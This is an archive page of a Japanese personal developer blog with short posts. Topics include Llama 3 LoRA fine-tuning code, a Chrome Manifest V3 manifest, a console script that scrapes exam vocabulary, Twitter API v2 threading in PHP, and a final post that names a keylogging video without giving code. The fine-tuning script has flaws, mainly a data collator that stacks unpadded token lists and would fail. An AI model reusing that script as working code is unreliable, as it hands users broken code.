Photo by Victor Dunn on Pexels.com

AIで記事を学習して新たな記事を生み出すにはお金が必要だと思っていたがそうでも.

2025.06.22

Logging

おはようございます.AIで記事を学習して新たな記事を生み出すにはお金が必要だと思っていたがそうでもなくローカルPCでそこら辺に落ちているLlamaモデルを持ってきてチューニングすれば何とかなるじゃねぇという思いに至った.

実はあなたの手元にあるPCと、そこら中に「落ちている」オープンソースのAIモデル、特にLlama 3があれば、十分記事が生成できるんです。


ローカルAI記事生成は、もはや夢物語じゃない

「AIで記事生成」と聞くと、SFのような世界や、大企業だけが使える特権のように感じるかもしれません。しかし、今は違います。オープンソースの強力な言語モデル、特にMetaが公開したLlama 3の登場は、この常識を大きく覆しました。

Llama 3は、その性能の高さにもかかわらず、誰でも無料で利用できるという点が最大の魅力です。さらに、80億パラメータの8Bモデルであれば、最新のゲーミングPCとまではいかなくとも、ある程度の性能を持つPCであれば十分に動作します。これにより、高額なクラウドサービスを利用せずとも、自分のPCでAI記事生成の環境を構築することが現実的になりました。


なぜLlama 3があなたのPCと相性抜群なのか?

Llama 3がローカルPCでの記事生成に適している理由はいくつかあります。

  • 完全無料のオープンソース: 利用に費用がかからないため、予算を気にせずAIを試したり、本格的に導入したりできます。
  • 選べるモデルサイズ: Llama 3には様々なサイズのモデルがあり、PCのスペックに合わせて選べます。特に8Bモデルは、個人利用に最適なバランスを持っています。
  • 活発な開発者コミュニティ: 世界中の開発者がLlama 3を使った新しいツールや効率的なチューニング方法を日々共有しています。困ったときには助けを借りられる心強い味方です。
  • 「量子化」でさらに軽量に: モデルのサイズを大幅に小さくする「量子化」という技術を使えば、より少ないメモリでLlama 3を動かせるようになります。これにより、より多くのPCで利用の道が開けます。

あなたのPCを「記事生成マシン」に変える秘訣

もちろん、いきなりプロのライター並みの記事をAIに書かせるのは難しいかもしれません。しかし、ちょっとした工夫で「何とかなる」レベルの記事生成は十分に可能です。

  1. 少量のデータでファインチューニング: 大量の記事データは不要です。あなたが書きたい記事のテーマやスタイルに合った、質の良い記事を数十〜数百程度集めてLlama 3を学習(ファインチューニング)させれば、その分野に特化した記事生成能力が格段に向上します。
  2. プロンプト(指示文)の工夫: AIへの「指示の出し方」は非常に重要です。具体的で明確なプロンプトを与えることで、チューニングが完璧でなくても、驚くほど質の高い記事が生成できます。これはまるで、優秀なアシスタントに的確な指示を出すようなものです。
  3. 効率的な学習方法の活用: 「LoRA(Low-Rank Adaptation)」のような効率的なファインチューニング手法を使えば、少ないGPUメモリでも短時間でモデルを特定のタスクに最適化できます。

あなたの創造性が、今、AIで加速する

かつては一部の専門家や企業にしか手の届かなかったAIによる記事生成が、今やあなたのPCで実現できる時代になりました。これはまさにAI技術の「民主化」です。

とまぁそういう訳なので何とかしてみますが、ファインチューニングにどれぐらい時間がかかるのかが未知数だったりする.

ファインチューニングPythonコード

以下のPythonコードは、Llama 3モデルをロードし、提供されたテキスト記事でファインチューニング(LoRA使用)を実行し、結果を保存します。 上記の入力値は、このコードに自動的に反映されます。 このコードをPythonファイル(例: `finetune_llama.py`)として保存し、実行してください。

import os
import torch
from datasets import load_dataset
from transformers import AutoTokenizer, AutoModelForCausalLM, BitsAndBytesConfig, TrainingArguments, Trainer
from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training, TaskType

# GPUの利用可能性を確認
print("GPUが利用可能か確認中...")
if not torch.cuda.is_available():
    print("GPUが見つかりません。Fine-tuningにはGPUが強く推奨されます。")
    # GPUがない場合は、ここでスクリプトを終了するか、CPUモードで続行するか選択できます。
    # exit("GPUがないため終了します。")
else:
    print(f"GPUが利用可能です: {torch.cuda.get_device_name(0)}")

# --- 1. モデルとトークナイザーのロード ---
# Llama 3モデルのパスを指定します。Hugging Faceのモデル名(例: "meta-llama/Llama-3-8B")
# またはローカルにダウンロードしたモデルのパスを指定してください。
MODEL_NAME = "meta-llama/Llama-3-8B" # ユーザーが入力したパスがここに挿入されます

print(f"モデルとトークナイザーをロード中: {MODEL_NAME}")

# 4bit量子化設定 (GPUメモリの節約に役立ちます)
# bnb_4bit_compute_dtypeは、Ampere以降のNVIDIA GPUに推奨されるbfloat16を使用しています。
bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_use_double_quant=True,
    bnb_4bit_quant_type="nf4", # NF4 (NormalFloat4) 量子化タイプ
    bnb_4bit_compute_dtype=torch.bfloat16 
)

# トークナイザーをロード
tokenizer = AutoTokenizer.from_pretrained(MODEL_NAME, trust_remote_code=True)
# Llama 3はデフォルトでbos_tokenを付与しないことがあるため、明示的に追加。
# また、padding_side='right'はLlamaモデルに推奨される設定です。
tokenizer.pad_token = tokenizer.eos_token
tokenizer.padding_side = "right"

# モデルをロードし、量子化設定を適用し、自動的にGPUにマッピングします。
model = AutoModelForCausalLM.from_pretrained(
    MODEL_NAME,
    quantization_config=bnb_config,
    device_map="auto", # 利用可能なデバイス(GPU)に自動的にモデルを分散
    trust_remote_code=True # リモートコードの実行を許可
)
print("モデルロード完了。")

# k-bit学習用にモデルを準備 (PEFTライブラリのため)
# gradient_checkpointingを有効にすることで、メモリ使用量をさらに削減できます。
model.gradient_checkpointing_enable()
model = prepare_model_for_kbit_training(model)
print("k-bit学習用にモデルを準備しました。")

# --- 2. データセットの準備 ---
# あなたのテキスト記事ファイルが格納されているディレクトリを指定します。
# 例: 'your_article_data/' の中に 'article1.txt', 'article2.txt', ... と置かれている場合
DATA_DIR = "./your_article_data/" # ユーザーが入力したパスがここに挿入されます

print(f"データセットをロード中: {DATA_DIR}")

# 'text'形式でデータセットをロードします。指定されたディレクトリ内のすべての.txtファイルを読み込みます。
# 各ファイルが1つのエントリとして扱われます。
try:
    dataset = load_dataset('text', data_files={'train': os.path.join(DATA_DIR, '*.txt')})
    print(f"データセットのサンプル数: {len(dataset['train'])}")
except Exception as e:
    print(f"データセットのロード中にエラーが発生しました。ディレクトリとファイル形式を確認してください: {e}")
    exit("データセットロード失敗。")

# データセットをトークン化する関数
# 長い記事をモデルの最大入力長に分割します。
def tokenize_function(examples):
    # Llama 3の最大入力長は通常8192ですが、お使いのGPUのVRAMに合わせて調整してください。
    # ここでは一般的な値として2048を設定しています。
    max_length = 2048 
    # truncate=Trueで最大長を超えるテキストを切り捨てます。
    return tokenizer(examples["text"], truncation=True, max_length=max_length)

# データセットをトークン化します。
# num_procはCPUコア数に応じて並列処理を行い、処理を高速化します。
tokenized_dataset = dataset.map(
    tokenize_function,
    batched=True,
    num_proc=os.cpu_count(),
    remove_columns=["text"] # 元のテキスト列は学習に不要になるため削除します。
)
print("データセットのトークン化が完了しました。")

# --- 3. PEFT (LoRA) の設定 ---
# LoRA (Low-Rank Adaptation) は、元のモデルの重みをフリーズし、
# 小さなアダプター層を追加して学習させることで、効率的にファインチューニングを行います。
# これにより、GPUメモリの使用量を抑えつつ、高い性能を実現できます。
lora_config = LoraConfig(
    r=16, # LoRAのランク。値を大きくすると表現力が増すが、メモリ消費も増える。
    lora_alpha=32, # LoRAのスケーリング係数。rの2倍程度が推奨されることが多いです。
    target_modules=["q_proj", "k_proj", "v_proj", "o_proj", "gate_proj", "up_proj", "down_proj"], # LoRAを適用する層。Llamaモデルで一般的な層。
    bias="none", # バイアスを学習しない設定。
    lora_dropout=0.05, # ドロップアウト率。過学習を防ぐために設定します。
    task_type=TaskType.CAUSAL_LM, # タスクタイプを因果言語モデルに設定。
)

# モデルにLoRAアダプターを追加します。
model = get_peft_model(model, lora_config)
print("モデルにLoRAアダプターを適用しました。")
model.print_trainable_parameters() # 学習可能なパラメータ数を確認します。

# --- 4. 学習の実行 ---
# 学習済みモデルを保存するディレクトリ
OUTPUT_DIR = "./llama3_finetuned_model/" # ユーザーが入力したパスがここに挿入されます

# 学習の設定
training_args = TrainingArguments(
    output_dir=OUTPUT_DIR,
    num_train_epochs=3, # エポック数。データセットのサイズと希望する精度に応じて調整してください。
    per_device_train_batch_size=1, # GPUあたりのバッチサイズ。VRAMが少ない場合は1に設定。
    gradient_accumulation_steps=4, # 勾配を蓄積するステップ数。実質的なバッチサイズは per_device_train_batch_size * gradient_accumulation_steps になります。
    optim="paged_adamw_8bit", # 8bit AdamWオプティマイザを使用し、メモリ効率を向上させます。
    save_steps=500, # 500ステップごとにモデルを保存します。
    logging_steps=100, # 100ステップごとにログを出力します。
    learning_rate=2e-4, # 学習率。
    fp16=True, # 混合精度学習を有効化 (GPUが対応している場合)。VRAM削減と高速化に寄与します。
    max_steps=-1, # num_train_epochsに基づいて学習します。
    group_by_length=True, # 同じ長さのシーケンスをグループ化し、パディングを削減します。
    lr_scheduler_type="cosine", # 学習率スケジューラーのタイプ。
    warmup_ratio=0.03, # ウォームアップ比率。
    report_to="none", # レポート先を指定しない (wandbなどを使用しない場合)。
)

# トレーナーの初期化
# data_collatorは、モデルの入力形式に合わせてデータを整形します。
trainer = Trainer(
    model=model,
    train_dataset=tokenized_dataset["train"],
    args=training_args,
    data_collator=lambda data: {
        'input_ids': torch.stack([f['input_ids'] for f in data]),
        'attention_mask': torch.stack([f['attention_mask'] for f in data]),
        'labels': torch.stack([f['input_ids'] for f in data]), # 因果言語モデルでは、入力自体がラベルとなります。
    },
)

# 学習の開始
print("Fine-tuningを開始します...")
trainer.train()
print("Fine-tuningが完了しました。")

# --- 5. 学習済みモデルの保存 ---
# LoRAアダプターのみを保存します。これにより、ファイルサイズが小さく、効率的に管理できます。
trainer.save_model(OUTPUT_DIR)
print(f"学習済みLoRAアダプターが '{OUTPUT_DIR}' に保存されました。")

# 保存したアダプターを使って推論を行う方法の例 (コメントアウトされています):
# このコードは、ファインチューニング後にモデルをロードして推論を行うための参考例です。
# from peft import PeftModel
#
# # 元のモデルをロード (学習時と同じ量子化設定を使用します)
# base_model = AutoModelForCausalLM.from_pretrained(
#     MODEL_NAME,
#     quantization_config=bnb_config,
#     device_map="auto",
#     trust_remote_code=True
# )
#
# # 保存したLoRAアダプターを元のモデルに結合します。
# peft_model = PeftModel.from_pretrained(base_model, OUTPUT_DIR)
#
# # 推論モードに設定します。
# peft_model.eval()
#
# # テキスト生成の例
# prompt = "ローカルPCでのLlama 3ファインチューニングの利点とは"
# inputs = tokenizer(prompt, return_tensors="pt").to("cuda") # 入力をGPUに移動
#
# with torch.no_grad(): # 勾配計算を無効化し、メモリ使用量を削減
#     outputs = peft_model.generate(
#         **inputs,
#         max_new_tokens=200, # 生成する新しいトークンの最大数
#         do_sample=True, # サンプリングによる生成を有効化
#         top_p=0.9, # Nucleusサンプリングの閾値
#         temperature=0.7, # 生成の多様性を制御する温度
#         eos_token_id=tokenizer.eos_token_id # 終了トークンID
#     )
# print("\n--- 生成されたテキスト ---")
# print(tokenizer.decode(outputs[0], skip_special_tokens=True))

明日へ続く

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

```, ;;), )。, アウト, アシスタント, アダプター, あたり, アップ, あなた, いくつ, ウォーム, エポック, エラー, エントリ, オープン, オプティマイザ, お金, クラウドサービス, グループ, クン, ゲーミング, コード, コア, ここ, こと, コミュニティ, コメント, これ, サイズ, サンプリング, サンプル, シーケンス, スクリプト, スケーリング, スケジューラー, スタイル, ステップ, スペック, すべて, ソース, そこら, タイプ, ダウンロード, タスク, ため, チューニング, ツール, データ, データセット, テーマ, ディレクトリ, テキスト, デバイス, デフォルト, トー, トークナイザー, とき, どれ, トレーナー, ドロップ, バイアス, パス, バッチ, パディング, パラメータ, バランス, ファイル, ファイルサイズ, ファインチューニング, ファインチューニングコード, フリーズ, プロ, プロンプト, マシン, マッピング, メモリ, モード, モデル, もの, ユーザー, よう, ライター, ライブラリ, ラベル, ランク, リモート, レベル, レポート, ローカル, ロード, ログ, 一般, 一部, 上記, 不要, 世界, 世界中, 並み, 並列, 予算, 付与, 以下, 以降, 企業, 使い, 使用, 係数, 保存, 個人, 優秀, 入力, 公開, 共有, 具体, 処理, 出力, 分割, 分散, 分野, 初期, 利点, 利用, 制御, 削減, 削除, 創造, 加速, 助け, 効率, 動作, 勾配, 十分, 参考, 反映, 可能, 向上, 味方, 因果, 場合, 多様, 夢物語, 大幅, 大量, 失敗, 学習, 完了, 完全, 完璧, 実現, 実行, 実質, 寄与, 対応, 専門, 導入, 少量, 工夫, 希望, 常識, 強力, 形式, 必要, 思い, 性能, 手元, 手法, 技術, 抜群, 指定, 指示, 挿入, 推奨, 推論, 提供, 整形, 新た, 方法, 日々, 明日, 明確, 明示, 時代, 時間, 最大, 最新, 最適, 有効, 未知数, 本格, 格段, 格納, 構築, 様々, 比率, 民主, 活用, 活発, 消費, 混合, 済み, 温度, 準備, 無効, 無料, 特定, 特権, 現実, 理由, 環境, 生成, 発生, 登場, 的確, 相性, 短時間, 確認, 秘訣, 移動, 程度, 管理, 節約, 精度, 終了, 結合, 結果, 続行, 能力, 自体, 自分, 自動的, 蓄積, 表現, 言語, 計算, 記事, 設定, 許可, 調整, 費用, 軽量, 追加, 通常, 適用, 選択, 重み, 重要, 量子, 開始, 開発, 関数, 閾値, 非常, 高速, 高額, 魅力,

適当なアプリをリリースしました、まだ審査中だけども通過するだろう.

2025.06.18

Logging

おはようございます.適当なアプリをリリースしました、まだ審査中だけども通過するだろう「きっと」.広告もない、個人情報の登録もないから申請するだけで通過すると思います.

因みにどんなアプリかといえば数字の桁数を漢字読みに変換して表示するだけのアプリ.これどんな人が使うかと言えばインバウンドで日本に来た海外の人達、いまもWebサービスとして自サイトで稼働しているものです.

日本の価格表記に漢字が混ざっていたりするので、そういう時にサ―ビスを使えば日本円での値段が分かるというものです.それを今回、ReactNative(リアクトネイティブ)でアプリ化したものをリリースしました.

最初は広告を付けようかと思ったのですが、付けると審査がめんどくさい事になりそうなので付けずにリリースしました.

何故、アプリを作ろうと思ったかをもう一度記事にするといま公開アプリが一つも無いのでアプリをリリースしないとグーグルさんがデベロッパーアカウントを解除すると警告を受けたので、適当なアプリを作ってリリースした形になります.

明日へ続く

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

アカウント, アプリ, いま, インバウンド, グーグル, これ, サービス, サイト, サン, そう, それ, デベロッパー, ビズ, もの, リアクトネイティブ, リリース, 一つ, 人達, 今回, 価格, 個人, 値段, 公開, 変換, 審査, 広告, 情報, 数字, 日本, 日本円, 明日, 最初, 海外, 漢字, 申請, 登録, 稼働, 表示, 表記, 解除, 記事, 読み, 警告, 通過, 適当,

NativePHPというフレームワークでWindowsアプリが

2023.08.23

Logging

おはようございます、NativePHPというフレームワークでWindowsアプリが作れるそうです。そうPHP言語でアプリが作れるということは、簡単に言えばElectronと似たことが出来るということです。凄いですよね、今まで有りそうでなかった、、、。いまNativePHPはアルファ版なので品質保証はしてくれないものの正式にリリースしたら一度、フレームワークに触れてみたいなって思っています。

因みにこの頃、Electronも触っていないのですが、バージョンアップして透過機能(アクリル)なども追加されたそうですよ。

話それますが、この頃まともにソースコードをオープンにしていないのには理由があります。ソースコードの公開の線引しているからです。ちょっとした物は今まで通り公開しますがあまりにも商業利用可能なものは公開を控えます、なのでちょっとした物しかこれからも出てこないと思います。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

Electron, NativePHP, PHP言語, Windowsアプリ, アクリル, アプリ, アルファ版, ソースコード, バージョン, フレームワーク, リリース, 一度, 公開, 品質保証, 商業利用, , 理由, , 透過機能, 通り,

Manifest V3、ブラウザ拡張機能のアレに対応した解説動画。

2022.11.02

Logging

おはようございます、カサカサ肌には大変な季節です🫠。

今日はManifest V3、ブラウザ拡張機能(Chrome拡張)のアレに対応した解説動画がありましたのでご紹介します。こちらの動画で基本は分かる感じになっています。いつまで掲載されるかわからないので、リンクだけ貼っときます。こちらになります。

尚、マニフェストの書き方だけがV3になってから変わっただけではないので、そこの所が注意しないといけない所です。自分もグーグルクロームに拡張機能を公開していたので、そちらの使用されている拡張機能は修正しました。

今、自分用に作っているV3のマニフェストの書き方だけ載せときますね。

{
  "name": "lancers footpoints",
  "version": "1.0.0",
  "manifest_version": 3,
  "description": "ランサーズ。",
  "permissions": [
    "tabs",
    "scripting"
  ],
  "action": {
    "default_icon": "icon20221101.png"
  },
  "background": {
    "service_worker": "src/background.js"
  },
  "content_scripts": [
    {
      "matches": [
        "https://www.lancers.jp/work/search*"
      ],
      "css":["src/style.css"]
    }
  ]
}

あと、backgroundとcontent_scriptsの送受信の関係などが記載されているサイトを見つけたので、そちらもリンクを貼っときます、こちらのページになります。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

1.0.0, , Chrome, footpoints, Lancers, Manifest, name, quot, Version, アレ, いつ, グーグル, クローム, こちら, ご紹介, そこ, そちら, ブラウザ, マニフェスト, リンク, , 今日, 使用, 修正, 公開, 動画, 基本, 大変, 季節, 対応, 感じ, , 拡張, 掲載, 書き方, 機能, 注意, , 自分, 解説,

これ無料で見えるのか、これはニッチな戦略かな。 #的を得た #労働者2

2022.10.17

Logging

おはようございます、月曜日の朝は憂鬱だね🙄。

さて、深いビジネス話が聴きたいビジネスマンや意識高い系にフォーカスを置いてメディアサービスを提供しているPIVOTという配信サービスが伸びてきている気がしますので改めて紹介します。PIVOTはスマホアプリ片手で新鮮な情報、深い話が聞けるのはPIVOTだけだと思っています。今のところこういうサービスは他にないですね。

【超円安時代の資産の増やし方】4000億円ファンドマネジャーの思考法/労働者1.0と労働者2.0の違い/ジブンポートフォリオを創れ/トヨタでもテスラでもなくフェラーリを買う理由/投資家思考の3つの特徴
PIVOT

NewsPicks StudiosのCEOだった佐々木紀彦 社長が立ち上げただけあってPIVOT(ピポッド)は質と方向性が今に合っているような気がします。そしてPIVOTはNewsPicksとは何だか敵対関係というよりは、相乗効果のある良きライバル的な立ち位置になりそうな気がします。NewsPicksとは少し色が違うのかなって見ていて思います、WEBでも公開しているNewsPicksとは違いモバイル端末で完結しているPIVOT。恐らくPIVOTはモバイル端末完結型でこれからも配信していくというのが自分の読みです。

【インフレ・不況時代の投資戦略】世界はすでに不況/日本はスタグフレーション/「株式の死」に備えよ/FRBが利上げする3つの理由/S&P500も横ばう?/成長率と参入障壁/コストコの最強ビジネスモデル

これから、YOUTUBEチャンネルが何処まで伸びるかで今後が決まりそうです。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

2, CEO, newspicks, PIVOT, Studios, web, アプリ, これ, サービス, スマホ, ところ, ニッチ, ビジネス, ビジネスマン, ピポッド, フォーカス, メディア, モバイル, ライバル, , , 位置, 佐々木, 公開, 労働者, 効果, 完結, 少し, 情報, 意識, 憂鬱, 戦略, 提供, 敵対, 新鮮, 方向性, 月曜日, , , 無料, 片手, , 相乗, 社長, 端末, , 紀彦, 紹介, , , , 違い, 配信, 関係,

Photo by Abby Chung on Pexels.com

基本情報技術者試験ワード集と単語帳作りアプリで学習の下準備をする方法! #FE #英語 #効率

2022.10.06

Logging

おはようございます、朝、3時半頃から起きています😪。

先日から英語の勉強をアプリではじめました、自分が使用しているのはモノグサというアプリです。このアプリをインストールしたのは二年前の話です、そのアプリを使用して効率良く英単語を覚えていってます、なんかよく分からないけど覚えて行けている🙄。

さて、それとは別に本題のお話です、単語帳作りアプリを使って基本情報技術者試験に出てくるワードを再学習しています。ワードの方は基本情報技術者試験ドットコムから引っ張ってきています、そのワードをCSV化してアプリに入れました。個人的に使用している分にはOKですが、これを公開や共有するとNGになりますので使用時はお気をつけてください🙇。

ワードを収取する方法はブラウザのコンソール画面に下記のコードを貼り付けて収集しました。
基本情報技術者試験ドットコムのキーワード集「あ」から「ん」までのリンクページをそれぞれ開きコンソール画面でコードを実行して、それをUTF8のファイルにペーストして一つのファイルにしてCSV保存。本当はnode.jsでコードを書いて実行でもしようかなと思っていたのですが、それすら面倒くさいと思ったので、こちらの地味な方法を選択しました。尚、行末に必要なカンマを追加して上げてくださいね🙄。

let s = [];
let $moji = function(m){
   return String(m).replace(/[\,|\n|'|"]/g," ");
};
Object.keys(document.querySelectorAll(".big")).forEach((e)=>{
    s[e] = "'" + $moji(document.querySelectorAll(".big")[e].innerText) + "'" + "," + "'" + $moji(document.querySelectorAll("ul > li > div > div")[e].innerText) + "'";
});
copy(s.join("\n"));

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

, CSV, FE, NG, OK, アプリ, インストール, お気, お話, キーワード, コード, これ, コンソール, それ, ドットコム, ブラウザ, モノグサ, ワード, 下準備, 下記, , 使用, 先日, 公開, 共有, , 効率, 勉強, , 単語帳, , 収集, , 基本, 学習, 情報, 技術者, , 方法, , 本題, 画面, 自分, 英単語, 英語, 試験, ,

Photo by Pixabay on Pexels.com

Twitter-API-v2ツイート数珠繋ぎ #コード公開 #php

2022.10.04

Logging

おはようございます。土日祝も関係なくブログは毎日書いています🤮。

さて、今日はPHP言語でTwitterAPIバージョン2(v2)を使用してツイート数珠繋ぎをする方法を抜粋して記載していきます。こういうコードは今のところ出回っていないようです。少し調べれば公式サイトに記載しているのだけども・・・。まだ、日本語に対応した記事が少ないようです。v2でツイートする方法やリツイートする方法は何故かあるのだけどリプライ(Reply)[/statuses/update]する方法が記事としては記載していなかったので?記載します。

<?php
require_once "vendor/autoload.php";
use Abraham\TwitterOAuth\TwitterOAuth;

class tw{
    var $connection = null;
    function __construct()
    {
        $this->connection = new TwitterOAuth(APIKEY, APISECRET,ACCESSTOKEN, ACCESSTOKENSECRET);
        $this->connection->setApiVersion("2");
    }

    function pickup_tweets(mixed $tw_text=null){
         $obj = (object)[];
        if(isset($tw_text) && is_array($tw_text)){
            foreach ($tw_text as $key => $value) {
                if(preg_replace("/[ | ]/","",$value)){
                    $obj = !$key?(
                        $this->connection->post("tweets", ["text" =>$value], true)
                    ):
                    (
                        $this->connection->post("tweets", ["reply"=>["in_reply_to_tweet_id"=>$obj->data->id],"text"=> $value], true)
                    );
                }
            }
            return true;
        }
        return false;
    }
}

最初に結論とコードのアルゴリズムに付いて解説します。まず、tweetsのパラメーターでリプライ出来るように変更されています。v1.1とはそこが変わっているので同じ仕組みを検索しがちですがそれでは検索にヒットしないようです🤔。まずはエンドポイントの変更点の確認が必要みたい👏。

エンドポイントのv1.1からv2への対応表

エンドポイントのv1.1からv2への対応表が公式から出ているので確認してみてください↑。

次にコードの解説ですがまずTwitterOAuthライブラリをインストールを行い、defineなどの設定なども考慮した上で実行してみてください(コードに追記記載が必要)。変数、$tw_textは配列です。また投稿する文字が入っていると考えてください。そしてこのコードを下記のような考え方で実行してみてください。

<?php
       require_once "tw-index.php";
       $tw_text[0] ="test1";
       $tw_text[1] ="test2";
       $tw = new tw();
       if($tw->pickup_tweets($tw_text)){
        $ret["msg"] = "ok";
       }else{
        $ret["msg"] = "NG";
       }
       var_dump($ret);

※前提条件としてtwitter社にAPIの申請を行って受理されている事。

Twitter API v2 ツイート数珠繋ぎ

これで思った通り実行出来たと思います。尚、自分のように管理画面などを作って数珠繋ぎの投稿するのも良いかも知れません🫠。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

2, Abraham, autoload, class, connection, function, lt, null, once, php, quot, Reply, require, statuses, tw, Twitter-API-v, TwitterAPI, TwitterOAuth, UPDATE, use, var, vendor, コード, サイト, ツイート, ところ, バージョン, ブログ, リツイート, リプライ, , 今日, 使用, 公式, 公開, 土日, 対応, 少し, 抜粋, 数珠繋ぎ, 方法, 日本語, 毎日, , 言語, 記事, 記載,

映画、雨を告げる漂流団地の監督さんの語りを聞いて映画も観てみた。 #雨を告げる漂流団地 #Netflix #Hiroyasu-Ishida

2022.10.02

Logging

おはようございます🫠、社会との接点はブログになっている今日此の頃です。クラウドワークスは何だか質が落ちているような気がします。

さて、作品を社会に公開すると色々な意見を言われる事になると思います。映画が世に出るという事はそこには色々な人々が関わっています。今回「雨を告げる漂流団地」を7回に別けて観ました。もう色々と感性が抜け落ちているので、良し悪し正直な所分からなかったですが、アイディア等は面白いなと感じました。

Hiroyasu Ishida – Being an Animation Film Director

これを小学生や幼い子供が観たら、やっぱ特別な感覚や感情を抱くだろうなと思い、そういう作品を作れるというのは特異な才能(石田祐康 監督)なんだと感じます。

映画『雨を告げる漂流団地』本予告映像【9月16日(金) Netflix全世界独占配信 & 日本全国ロードショー】

こういう作品は大人が観るのではなく子供が観て面白かったと思えば良いですよと、この映画のレビューを見て思いました。そして今回の作品もそうですしペンギン・ハイウェイの作品もそうなんだと思いますが、作品を通して子供が成長して欲しいという想いが伝わる映画でした。

因みにこの映画、自分はネトフリアニメで数回に分けて観ました😌。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

7, Hiroyasu-Ishida, Netflix, アイディア, クラウド, これ, そこ, なん, ブログ, ペンギ, レビュー, ワークス, , 人々, 今回, 今日此の頃, 作品, 公開, 団地, 大人, 子供, 小学生, 意見, 感性, 感情, 感覚, , 才能, 接点, 映画, 正直, , 漂流, 特別, 特異, 監督, 石田, 社会, 祐康, 良し悪し, 色々, , ,

簡単で難しい事、いや難しい事なのかもな。

2022.08.01

Logging

おはよう、8月です。収益化は難しいけれどもアクセス数は意外にもある中の人です。

さて最初にTシャツ作りが頓挫した話から書きます。何故(・・?、毎日Tシャツ作りをすると言いながら途中で辞めたのかを話します。理由はデザインに割く時間よりもコードを書く時間や就職活動などを優先しているからです。なので中々、デザインにまで手が回らない。もう一つはスランプ気味なので、手抜きなデザインしか出来ないのが現状です。だからTシャツづくりは頓挫しています。

いま、一番力を入れているのはWEB開発の方です、人にも公開できるし自分にも結果が帰ってくるので、そちらの方を優先しています。Tシャツは売れないけどWEB開発はトントンになる確率がTシャツよりあるので、そちらを優先しています。そういう理由からなんですね。

そしてWEB開発はいろいろとアイディアがあってそれを自分の手を動かしてコードを書いて結果が見えないものは改善したり削除したりして、良いものに作り変える事がデザインよりも自分は得意な感じです。そして何よりデータが取れるので改善しやすいのです。

まとめ、収益化はまだまだ道半ばですが頑張ります。尚、就職先が決まってもアクセス数のあるWEBサービスは停止する事はないと思います。人気の無いサービスは廃止しますけどね…😌。

追伸:Tシャツサイトはアクセス解析が未だに機能しないのは困りもの。いいねが付かなくてもどんな物に興味があるのか分れば求めているものは作りやすいですけどね。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

8, web, アイディア, アクセス, いま, いろいろ, コード, シャツ, スランプ, そちら, それ, デザイン, もう一つ, もの, , , 中々, , , 優先, 公開, 削除, 収益, 就職, , 手抜き, 改善, , 時間, 最初, 毎日, 活動, 現状, 理由, 確率, 簡単, 結果, 自分, , 途中, 開発, 頓挫,

Photo by Anete Lusina on Pexels.com

悪意になるコードそうだよねぇ~オープンソース怖い。

2022.06.01

Logging

おはようございます。6月が始まりました。

今日のお題は「悪意になるコードそうだよねぇ~オープンソース怖い。」です。

【ハッキング入門】キーロギングの仕組み IDとパスワードの取得方法【悪用厳禁】

こう思ったのは結構前からなのですが、今回、コードマフィアさんのYOUTUBE動画を見て再確認にした次第です。因みにこのソースコードが動くかどうかは知りません。

